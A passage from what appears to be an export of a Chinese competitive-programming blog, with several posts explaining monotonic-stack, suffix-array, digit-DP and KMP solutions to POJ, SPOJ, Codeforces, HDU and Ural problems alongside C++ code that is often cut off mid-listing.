05时12分47秒 4File Name :code/poj/3250.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cstack\u003e 14#include \u003cset\u003e 15#include \u003cmap\u003e 16#include \u003cstring\u003e 17#include \u003ccmath\u003e 18#include \u003ccstdlib\u003e 19#include \u003cctime\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=8E4+7; 35int a[N]; 36int c[N]; 37stack\u003cint\u003estk; 38int n; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 45 scanf(\"%d\",\u0026n); 46 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 47 48 a[n+1] = inf; 49 stk.push(n+1); 50 int x; 51 for ( int i = n ; i \u003e=1 ; i--) 52 { 53 for ( x = stk.top() ; a[x]\u003ca[i] ; x = stk.top()) stk.pop();//找到第一个大于等于a[i]的位置 54 c[i] = x-1; //第一个大于等于a[i]的位置的左边就是i号牛能看到的最远的牛，c[i]-i就是i号牛能看到的牛的个数。 55 stk.push(i); 56 } 57// for ( int i = n; i \u003e= 1 ; i--) cout\u003c\u003c\"i:\"\u003c\u003ci\u003c\u003c\" c[i]:\"\u003c\u003cc[i]\u003c\u003cendl; 58 LL ans = 0 ; 59 for ( int i = 1 ; i \u003c= n ; i++) ans = ans + 1LL*(c[i]-i); 60 printf(\"%lld\\n\",ans); 61 62 63 #ifndef ONLINE_JUDGE 64 fclose(stdin); 65 #endif 66 return 0; 67}","date":"2016-08-02","externalUrl":null,"permalink":"/2016/08/poj-3250/","section":"Posts","summary":"poj 3250 题意： n头牛排成一列，第n只牛在最前面，第1只牛在最后面。第i只牛能看到的牛的个数是，它前面的且没有被其他牛遮挡的牛的个数，遮挡的条件是高度大于或者相同。现在问所有牛能看到的牛的个数的和。","tags":["单调栈"],"title":"poj 3250 Bad Hair Day(单调栈)","type":"post"},{"categories":["ACM"],"content":"poj 2559 题意：给定从左到右多个矩形，已知这此矩形的宽度都为1，长度不完全相等。这些矩形相连排成一排，求在这些矩形包括的范围内能得到的面积最大的矩形，求该面积。所求矩形可以横跨多个矩形，但不能超出原有矩形所确定的范围。 思路：单调栈。。。好久没写了，感觉之前一直也没有完全掌握单调栈的技巧。这回一定要掌握。 对于这道题，我们对于每个位置i，用两个单调栈维护出最左边和最右边最远能到达的位置。然后扫一遍更新最大值。 单调栈部分我用了stl 的stack 细节见注释 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月03日 星期三 04时27分31秒 4File Name :code/poj/2559.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#include \u003cstack\u003e 20#define fst first 21#define sec second 22#define lson l,m,rt\u003c\u003c1 23#define rson m+1,r,rt\u003c\u003c1|1 24#define ms(a,x) memset(a,x,sizeof(a)) 25typedef long long LL; 26#define pi pair \u003c int ,int \u003e 27#define MP make_pair 28 29using namespace std; 30const double eps = 1E-8; 31const int dx4[4]={1,0,0,-1}; 32const int dy4[4]={0,-1,1,0}; 33const int inf = 0x3f3f3f3f; 34const int N=1E5+7; 35int l[N],r[N]; 36stack\u003cint\u003estk; 37int a[N]; 38int n; 39int main() 40{ 41 #ifndef ONLINE_JUDGE 42 freopen(\"code/in.txt\",\"r\",stdin); 43 #endif 44 while(scanf(\"%d\",\u0026n)!=EOF) 45 { 46 if (n==0) break; 47 for ( int i = 1 ; i \u003c= n ; i++) scanf(\"%d\",\u0026a[i]); 48 a[0]=-1; 49 a[n+1]=-1; 50 while (!stk.empty()) stk.pop(); 51 stk.push(0); 52 int x; 53 for ( int i = 1 ; i \u003c= n ; i++) 54 { 55 for ( x = stk.top() ; a[x]\u003e=a[i] ; x = stk.top()) stk.pop(); //找到栈中第一个（离a[i]最近的）小于a[i]的位置 56 l[i] = x+1;//第一个小于a[i]的位置的右边就是i位置往左最远能达到的不减的位置。 57 stk.push(i); //栈已经处理成单调了，此时可以入栈。 58 } 59 60 //再反向做一次。 61 while (!stk.empty()) stk.pop(); 62 63 stk.push(n+1); 64 for ( int i = n ; i \u003e=1 ; i--) 65 { 66 for ( x= stk.top() ; a[x]\u003e=a[i] ; x = stk.top()) stk.pop();","date":"2016-08-02","externalUrl":null,"permalink":"/2016/08/poj-2559/","section":"Posts","summary":"poj 2559 题意：给定从左到右多个矩形，已知这此矩形的宽度都为1，长度不完全相等。这些矩形相连排成一排，求在这些矩形包括的范围内能得到的面积最大的矩形，求该面积。所求矩形可以横跨多个矩形，但不能超出原有矩形所确定的范围。","tags":["单调栈"],"title":"poj 2559 Largest Rectangle in a Histogram (单调栈)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：定义一个函数F．． For exampe: F(babbabbababbab, babb) = 6. The list of pairs is as follows: (1, 4), (4, 7), (9, 12) Its continuous sequences are: * (1, 4) * (4, 7) * (9, 12) * (1, 4), (4, 7) * (4, 7), (9, 12) * (1, 4), (4, 7), (9, 12) erfen ． erfen 题目描述得很烂．．看例子把．．大概就是：如果字符串y在字符串x中出现n次，那么F(x,y)=n*(n+1)/2 现在给一个字符串，求所有的F(s,x)的和，x为字符串的所有不相同的子串． 思路：由于刚刚写了一个求一个字符串所有不同子串个数的题目．．．于是就想到了后缀数组．．． 写完之后观察height[i]．如果把height[i]看成底在x轴上的第i个矩形的高的话，n就是一段连续的矩形的长度． 然后．．．暴力会tle 48 题解说单调栈．．．但是单调栈之后还要线段树or并查集？　（by 羊神） ．．．不会啊orz 最后用了二分+rmp过掉的 大概就是两次二分得到一个矩形的区间，和whust2016 #1的那道题有点像． 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月01日 星期一 04时57分01秒 4File Name :code/cf/problem/123d.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#include \u003cstack\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27using namespace std; 28const double eps = 1E-8; 29const int dx4[4]={1,0,0,-1}; 30const int dy4[4]={0,-1,1,0}; 31const int inf = 0x3f3f3f3f; 32const int N=1E5+7; 33int n,sa[N],rk[N],t[N],t2[N],cnt[N]; 34int height[N]; 35char s[N]; 36int cmp( int *r , int a,int b,int l){return r[a]==r[b]\u0026\u0026r[a+l]==r[b+l];} 37void getSa( int n,int m) 38{ 39 int *x = t; 40 int *y = t2; 41 ms(cnt,0); 42 for ( int i = 0 ; i \u003c n ; i++) cnt[x[i]=s[i]]++; 43 for ( int i = 1 ; i \u003c m ; i++) cnt[i] +=cnt[i-1]; 44 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[i]]] = i ; 45 for ( int k = 1 ; k \u003c","date":"2016-08-02","externalUrl":null,"permalink":"/2016/08/cf-123/","section":"Posts","summary":"题目链接 题意：定义一个函数F．． For exampe: F(babbabbababbab, babb) = 6. The list of pairs is as follows: (1, 4), (4, 7), (9, 12)","tags":["rmq","二分","后缀数组"],"title":"codeforces 123 D. String　（后缀数组+两次二分得到区间＋rmq）","type":"post"},{"categories":["ACM"],"content":"poj 2406 题意:给定一个字符串 L,已知这个字符串是由某个字符串 S 重复 R 次而得到的, 求 R 的最大值 思路:论文题. 转载论文中的题解: 做法比较简单,穷举字符串 S 的长度 k,然后判断是否满足。判断的时候, 先看字符串 L 的长度能否被 k 整除,再看 suffix(1)和 suffix(k+1)的最长公共 前缀是否等于 n-k。在询问最长公共前缀的时候,suffix(1)是固定的,所以 RMQ 问 题 没 有 必 要 做 所 有 的 预 处 理 , 只 需 求 出 height 数 组 中 的 每 一 个 数 到 height[rank[1]]之间的最小值即可。整个做法的时间复杂度为 O(n) 最关键的在加黑的那句话:看 suffix(1)和 suffix(k+1)的最长公共 前缀是否等于 n-k why??? 转载一段证明: 为什么这样就行了呢？这要充分考虑到后缀的性质。当lcp（1，k+1）=n-k时，后缀k+1是后缀1（即整个字符串）的一个前缀。（因为后缀k+1的长度为n-k）那么，后缀1的前k个字符必然和后缀k+1的前k个字符对应相同。而后缀1的第k+1..2k个字符，又相当于后缀k+1的前k个字符，所以与后缀1的前k个字符对应相同，且和后缀k的k+1..2k又对应相同。依次类推，只要lcp(1,k+1)=n-k,那么s[1..k]就可以通过自复制n/k次得到整个字符串。找出k的最小值，就可以得到n/k的最大值了。 虽然这道题不适合用后缀数组做,倍增会tle,dc3也是卡时间才能过,但是接触到了一个想法. 要看一个字符串s能否由一个较小的长度为k的字符串t重复若干次得到,除了要整除以外, gengxin判断suffix(1)和 suffix(k+1)的最长公共****前缀是否等于 n-k即可. 下面是用倍增写的tle了的代码,价值在于那段没有用rmq,而是o(n)更新height数组到height[rk[0]]之间的最小值要怎么写. 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月02日 星期二 19时41分08秒 4File Name :code/poj/2406.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=1E6+7; 32int n,sa[N],rk[N],t[N],t2[N],cnt[N]; 33int height[N]; 34char s[N]; 35int cmp( int *r,int a,int b,int l){return r[a]==r[b]\u0026\u0026r[a+l]==r[b+l];} 36void ge","date":"2016-08-02","externalUrl":null,"permalink":"/2016/08/poj-2406/","section":"Posts","summary":"poj 2406 题意:给定一个字符串 L,已知这个字符串是由某个字符串 S 重复 R 次而得到的, 求 R 的最大值","tags":["kmp","后缀数组"],"title":"poj 2406 Power Strings (后缀数组||kmp)","type":"post"},{"categories":["ACM"],"content":"题目连接 题意：求所有不同的子串个数。 思路：后缀数组。和上一道题一样，就是数据范围变成了 5E4…1A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月02日 星期二 18时32分28秒 4File Name :code/spoj/subst1.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=5E4+7; 32char s[N]; 33int sa[N],rk[N],t[N],t2[N],cnt[N],height[N]; 34int cmp (int *r,int a,int b,int l){ return r[a]==r[b]\u0026\u0026r[a+l]==r[b+l];} 35void getSa(int n,int m) 36{ 37 int *x=t,*y=t2; 38 ms(cnt,0); 39 for ( int i = 0 ; i \u003c n ; i++) cnt[x[i]=s[i]]++; 40 for ( int i = 0 ; i \u003c m ; i++) cnt[i]+=cnt[i-1]; 41 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[i]]] = i; 42 for ( int k = 1 ; k \u003c= n ; k\u003c\u003c=1) 43 { 44 int p = 0; 45 for ( int i = n-k ; i \u003c n ; i++) y[p++] = i; 46 for ( int i = 0 ; i \u003c n; i++) if (sa[i]\u003e=k) y[p++] = sa[i]-k; 47 ms(cnt,0); 48 for ( int i = 0 ; i \u003cn ; i++) cnt[x[y[i]]]++; 49 for ( int i = 0 ;i \u003c m ; i++) cnt[i]+=cnt[i-1]; 50 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[y[i]]]] = y[i]; 51 swap(x,y); 52 p = 1; 53 x[sa[0]] = 0; 54 for ( int i = 1 ; i \u003c n ; i++ ) 55 x[sa[i]] = cmp(y,sa[i-1],sa[i],k)?p-1:p++; 56 if (p\u003e=n) break; 57 m = p; 58 } 59} 60void getHeight( int n) 61{ 62 int k = 0 ; 63 for ( int i = 0 ; i \u003cn ; i +","date":"2016-08-02","externalUrl":null,"permalink":"/2016/08/spoj-subst1-new-distinct-substrings/","section":"Posts","summary":"题目连接 题意：求所有不同的子串个数。 思路：后缀数组。和上一道题一样，就是数据范围变成了 5E4…1A","tags":["后缀数组"],"title":"spoj SUBST1 - New Distinct Substrings(后缀数组)","type":"post"},{"categories":["ACM"],"content":"hdu5787 题意:给出l,r,k求区间[l,r]中满足任意相邻k个数字都不相同的数的个数. 思路:数位dp,dp[i][k1][k2][k3][k4]表示长度为i,前1位是k1,前2位是k2,前3位是k3,前4位是k4的方案数. 注意不允许前导0.2A 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月02日 星期二 16时28分29秒 4File Name :code/multi2016/#5/1007.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31LL l,r; 32int k; 33LL digit[25]; 34LL dp[22][11][11][11][11]; 35int LEN; 36LL dfs(int pos,int k1,int k2,int k3,int k4,bool limit,bool prehasnonzero) 37{ 38 if (pos==0) return 1; 39 if (prehasnonzero\u0026\u0026!limit\u0026\u0026dp[pos][k1][k2][k3][k4]!=-1LL) return dp[pos][k1][k2][k3][k4]; 40 41 int mx = limit?digit[pos]:9; 42 LL res = 0LL; 43 if (!prehasnonzero) 44 { 45 for (int i = 0 ; i \u003c= mx ;i++) 46 { 47 res +=dfs(pos-1,i,10,10,10,limit\u0026\u0026i==mx,i==0?false:true); 48 } 49 } 50 else 51 { 52 for ( int i = 0 ; i \u003c= mx ; i++) 53 { 54 // if (i==k1||i==k2||i==k3||i==k4) continue; 55 if (k\u003e=2\u0026\u0026i==k1) continue; 56 if (k\u003e=3\u0026\u0026i==k2) continue; 57 if (k\u003e=4\u0026\u0026i==k3) continue; 58 if (k\u003e=5\u0026\u0026i==k4) continue; 59 60 res +=dfs(pos-1,i,k1,k2,k3,limit\u0026\u0026i==mx,true); 61 } 62 } 63 64 if (prehasnonzero\u0026\u0026!limit) dp[pos][k1][k2][k3][k4] = res; 65 return res; 66} 67LL solve ( LL n) 68{ 69 ms(digit,0); 70 int len ","date":"2016-08-02","externalUrl":null,"permalink":"/2016/08/hdu-5787/","section":"Posts","summary":"hdu5787 题意:给出l,r,k求区间[l,r]中满足任意相邻k个数字都不相同的数的个数.","tags":["数位dp"],"title":"hdu 5787 K-wolf Number 2016 Multi-University Training Contest 5 1007  (不允许前导0的数位dp)","type":"post"},{"categories":["ACM"],"content":"题目链接 题意：给出一个字符串，问所有不同的字串的个数。 思路：直接求比较困难。我们考虑，假如组成字符串的所有字符都不相同，那么就没有相同的字串，假设字符串的长度为n，那么长度为1的子串有n个，为2的有n-1个。。。为n的有1个，一共就是n*(n+1)/2个。。但是实际上会有重复的。。。 我们再次考虑这张图。[ 先找一个字符重复的个数，对应height[i]数组就是找height[i]大于等于1个的个数（因为x个height代表了x+1个后缀，保留1个，重复了x个，所以重复的个数恰好和符合条件的height数组对应） 接着找大于等于2的个数，大于等于3的个数… 最后再把所有答案累加起来，就是总共重复的次数。 然后按照我推出的这个结论，试着写了一发。。。1A蛤蛤蛤。。。 能想到这里大概是因为之前的题目让我得出了，“height数组是个小妖精”的结论,所以入手就先观察了一下height数组。。。 具体的实现呢，就是先统计height[i]中每个值出现的次数，然后做一个后缀和，最后累加。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月01日 星期一 02时43分19秒 4File Name :code/spoj/disubstr.cpp 5************************************************ */ 6 7#include \u003ccstdio\u003e 8#include \u003ccstring\u003e 9#include \u003ciostream\u003e 10#include \u003calgorithm\u003e 11#include \u003cvector\u003e 12#include \u003cqueue\u003e 13#include \u003cset\u003e 14#include \u003cmap\u003e 15#include \u003cstring\u003e 16#include \u003ccmath\u003e 17#include \u003ccstdlib\u003e 18#include \u003cctime\u003e 19#define fst first 20#define sec second 21#define lson l,m,rt\u003c\u003c1 22#define rson m+1,r,rt\u003c\u003c1|1 23#define ms(a,x) memset(a,x,sizeof(a)) 24typedef long long LL; 25#define pi pair \u003c int ,int \u003e 26#define MP make_pair 27 28using namespace std; 29const double eps = 1E-8; 30const int dx4[4]={1,0,0,-1}; 31const int dy4[4]={0,-1,1,0}; 32const int inf = 0x3f3f3f3f; 33const int N=1E3+7; 34int n; 35char s[N]; 36int sa[N],rk[N],t[N],t2[N],cnt[N]; 37int height[N]; 38int cmp(int *r,int a,int b,int l){return r[a]==r[b]\u0026\u0026r[a+l]==r[b+l];} 39 40void getSa(int n,int m) 41{ 42 int *x = t,*y = t2; 43 ms(cnt,0); 44 for ( int i = 0 ; i \u003c n ; i++) cnt[x[i]=s[i]]++; 45 for ( int i = 1 ; i \u003c m ; i++) cnt[i] += cnt[i-1]; 46 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[i]]] = i ; 47 for ( int k = 1 ; k \u003c= n; k \u003c\u003c=1 ) 48 { 49 int p = 0 ; 50 for ( int i = n-k ; i \u003c n; i ++) y[p++] = i; 51 for ( int i = 0 ; i \u003c n ; i++) if (sa[i]\u003e=k) y[","date":"2016-07-31","externalUrl":null,"permalink":"/2016/08/spoj-disubstr/","section":"Posts","summary":"题目链接 题意：给出一个字符串，问所有不同的字串的个数。 思路：直接求比较困难。我们考虑，假如组成字符串的所有字符都不相同，那么就没有相同的字串，假设字符串的长度为n，那么长度为1的子串有n个，为2的有n-1个。。。为n的有1个，一共就是n*(n+1)/2个。。但是实际上会有重复的。。。","tags":["后缀数组"],"title":"spoj DISUBSTR - Distinct Substrings (统计字串个数，后缀数组)","type":"post"},{"categories":["ACM"],"content":"poj3261 题意：给一个字符串，要求找出至少出现k次的最长重复子串… 思路：后缀数组，然后再次用到了根据height数组对后缀进行分组的套路…二分判定合法性，对于当前的最长长度x,分组使得每组中的height[i]都大于等于x,所不同的是，判定变成了存在一个组，后缀的个数至少为k个（因为这样，就可以对于大于等于k个的后缀，同时取前x长度，得到的就是出现了至少k次且长度为x的前缀）1A,蛤蛤蛤 1/* *********************************************** 2Author :111qqz 3Created Time :2016年08月01日 星期一 01时30分34秒 4File Name :code/poj/3261.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E4+7; 32const int M=2E6+11; 33const int C = 5; 34int n,sa[N],rk[N],t[N],t2[N],cnt[M]; 35int height[N]; 36int s[N]; 37int k; 38int cmp(int *r,int a,int b,int l){ return r[a]==r[b]\u0026\u0026r[a+l]==r[b+l];} 39void getSa( int n,int m) 40{ 41 int *x = t; 42 int *y = t2; 43 ms(cnt,0); 44 for ( int i = 0 ; i \u003c n; i++) cnt[x[i]=s[i]]++; 45 for ( int i = 1 ; i \u003c m ; i++) cnt[i]+=cnt[i-1]; 46 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[i]]] = i; 47 for ( int k = 1 ; k \u003c= n ; k\u003c\u003c=1) 48 { 49 int p = 0; 50 for ( int i = n-k ; i \u003c n; i++) y[p++] = i ; 51 for ( int i = 0 ; i \u003c n; i++) if (sa[i]\u003e=k) y[p++] = sa[i]-k; 52 ms(cnt,0); 53 for ( int i = 0 ; i \u003cn ; i++) cnt[x[y[i]]]++; 54 for ( int i = 0 ; i \u003cm ; i++) cnt[i]+=cnt[i-1]; 55 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[y[i]]]] = y[i]; 56 swap(x,y); 57 p = 1;","date":"2016-07-31","externalUrl":null,"permalink":"/2016/08/poj-3261/","section":"Posts","summary":"poj3261 题意：给一个字符串，要求找出至少出现k次的最长重复子串…","tags":["后缀数组","最长公共字串"],"title":"poj 3261 Milk Patterns (最长公共子串，后缀数组)","type":"post"},{"categories":["ACM"],"content":"poj 1743 题意：n个数字（1..88）表示的音符，问最长的连续两段长度至少为5的变化相同的音符段的长度。。。 思路：求最长重复字串。。。。很容易想到后缀数组。。但是这道题多了一个不可重叠的要求。 先二分答案,把题目变成判定性问题:判断是否 存在两个长度为 k 的子串是相同的,且不重叠。解决这个问题的关键还是利用 height 数组。把排序后的后缀分成若干组,其中每组的后缀之间的 height 值都 不小于 k。例如,字符串为“aabaaaab”,当 k=2 时,后缀分成了 4 组,如图 5 所示。 容易看出,有希望成为最长公共前缀不小于 k 的两个后缀一定在同一组。然 后对于每组后缀,只须判断每个后缀的 sa 值的最大值和最小值之差是否不小于 k。如果有一组满足,则说明存在,否则不存在。整个做法的时间复杂度为 O(nlogn)。**本题中利用 height 值对后缀进行分组的方法很常用,**请读者认真体 会。 这是论文中的题目。这个做法的确想不到，不过很好理解。 如果没有不允许重叠的条件就变成了求所有height[i]中的最大值，而每个height[i]对应的两个后缀的位置是sa[i]和sa[i-1]。 分组使得每组中的height[i]都大于等于k(那height[i]小于k的去哪里了？ 因为height[i]是由两个相邻的后缀得到的，如果某两个后缀的height[i]小于k,只需要将这两个后缀分成两组，这样这个height[i]就不存在了，从而保证了每组中的height[i]都大于等于k) 而我们知道，任意两个后缀的最长公共前缀是他们之间的所有height的最小值。因为对于处于同一组内的两个后缀来说，由于之前保证了每组中的height[i]\u003e=k,也就是保证了任意两个后缀的最长公共前缀大于等于k. 因此用二分判定长度k的时候，这样分组以后，只需要再判断是否相交（也就是如果长度k不满足，可能是因为没有办法分组使得每个height都大于等于k,也可能是存在这样的分组，但是两个后缀相交）。 判断相交其实非常简单，sa[i]表示的是排名第i的后缀的开始位置，那么如果存在sa[j]-sa[i]\u003e=k（其实是sa[i]+k-1\u003csa[j],sa[i]位置开始的后缀的长度为k的前缀的最后一个字符的所在位置sa[i]+k-1比sa[j]小，就说明不相交，由于是整数，就可以变成sa[i]+k\u003c=sa[j]，也就是sa[j]-sa[i]\u003e-=k） 而某一组内只要有一组i,j，满足sa[j]-sa[i]\u003e=k就是有解，因此我们只需要判断最可能符合条件的一组，也就是找到一组中sa[i]的最大值和最小值，也正因为我们这样，我们在具体实现的过程中也没必要真的模拟分组的过程，只需要一直更新两个极值即可。 以及：lrj的板子是错的！！会re!!!! 已改正。 其他细节见代码注释 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月31日 星期日 18时23分53秒 4File Name :code/poj/1743.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi p","date":"2016-07-31","externalUrl":null,"permalink":"/2016/08/poj-1743-musical-theme-/","section":"Posts","summary":"poj 1743 题意：n个数字（1..88）表示的音符，问最长的连续两段长度至少为5的变化相同的音符段的长度。。。","tags":["后缀数组","最长公共字串"],"title":"poj 1743 Musical Theme  (不可重叠最长重复子串，后缀数组)","type":"post"},{"categories":["ACM"],"content":"ural1517 题意：给出两个字符串，求最长的公共字串（要求出具体的字符串是什么） 思路：依然是后缀数组，在更新长度 的时候记录起始位置即可，1A。以及，发现多开了一个完全没有必要的数组w[],这次已删。 20160730update:模板已更正，lrj的模板的rk[i]为0 的时候会出现re的问题…已特判。 1/* *********************************************** 2Author :111qqz 3Created Time :2016年07月31日 星期日 00时36分19秒 4File Name :code/ural/1517.cpp 5************************************************ */ 6#include \u003ccstdio\u003e 7#include \u003ccstring\u003e 8#include \u003ciostream\u003e 9#include \u003calgorithm\u003e 10#include \u003cvector\u003e 11#include \u003cqueue\u003e 12#include \u003cset\u003e 13#include \u003cmap\u003e 14#include \u003cstring\u003e 15#include \u003ccmath\u003e 16#include \u003ccstdlib\u003e 17#include \u003cctime\u003e 18#define fst first 19#define sec second 20#define lson l,m,rt\u003c\u003c1 21#define rson m+1,r,rt\u003c\u003c1|1 22#define ms(a,x) memset(a,x,sizeof(a)) 23typedef long long LL; 24#define pi pair \u003c int ,int \u003e 25#define MP make_pair 26using namespace std; 27const double eps = 1E-8; 28const int dx4[4]={1,0,0,-1}; 29const int dy4[4]={0,-1,1,0}; 30const int inf = 0x3f3f3f3f; 31const int N=2E5+7; 32char s[N]; 33int n,sa[N],rk[N],t[N],t2[N],cnt[N]; 34int height[N]; 35int cmp(int *r,int a,int b,int l) {return r[a]==r[b]\u0026\u0026r[a+l]==r[b+l];} 36void getSa(int n,int m) 37{ 38 int *x = t,*y= t2; 39 ms(cnt,0); 40 for ( int i = 0 ; i \u003c n ; i++) cnt[x[i]=s[i]]++; 41 for ( int i = 1 ; i \u003c m ; i++) cnt[i]+=cnt[i-1]; 42 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[i]]] = i; 43 for ( int k = 1 ; k \u003c= n ; k\u003c\u003c=1) 44 { 45 int p = 0 ; 46 for ( int i = n - k ; i \u003c n ; i++) y[p++] = i; 47 for ( int i = 0 ; i \u003c n ; i++) if (sa[i]\u003e=k) y[p++] = sa[i]-k; 48 ms(cnt,0); 49 for ( int i = 0 ; i \u003c n; i++) cnt[x[y[i]]]++; 50 for ( int i = 0 ; i \u003c m ; i++) cnt[i]+=cnt[i-1]; 51 for ( int i = n-1 ; i \u003e= 0 ; i--) sa[--cnt[x[y[i]]]] = y[i]; 52 swap(x,y); 53 p = 1; 54 x[sa[0]] = 0; 55 for ( int i = 1 ; i \u003c n ; i++) 56 x[sa[i]] = cmp(y,sa[i-1],sa[i],k)?p-1:p+","date":"2016-07-30","externalUrl":null,"permalink":"/2016/07/ural1517/","section":"Posts","summary":"ural1517 题意：给出两个字符串，求最长的公共字串（要求出具体的字符串是什么）","tags":["后缀数组","最长公共字串"],"title":"ural 1517. Freedom of Choice (后缀数组，最长公共子串)","type":"post"},{"categories":["ACM"],"content":"poj2774 题意：给出两个字符串，问最长的公共连续字串。 思路：后缀数组模板题。 具体可以参考两篇国集论文（09，04） topcoder中的讲解 codechef上的讲解 还有一篇讲 dc3算法的论文： 这里不谈具体的后缀数组的学习内容，说说大概的学习过程。 首先要理解**后缀，后缀数组（sa[]），名次数组(rk[])，height数组，lcp **这些概念 先从定义入手，得到sa数组的n2logn的求法… 由于复杂度爆炸，所以有了两个算法来优化求sa的过程，一个是nlogn的倍增，还有一个是O(n)的dc3。。。 倍增的算法中用到了radix sort 